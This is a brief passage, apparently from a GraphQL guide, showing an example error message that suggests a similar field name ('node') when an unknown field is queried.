fields when an unknown keyword is queried. ```json { "message": "Cannot query field \"one\" on type \"Query\". Did you mean \"node\"?", } ```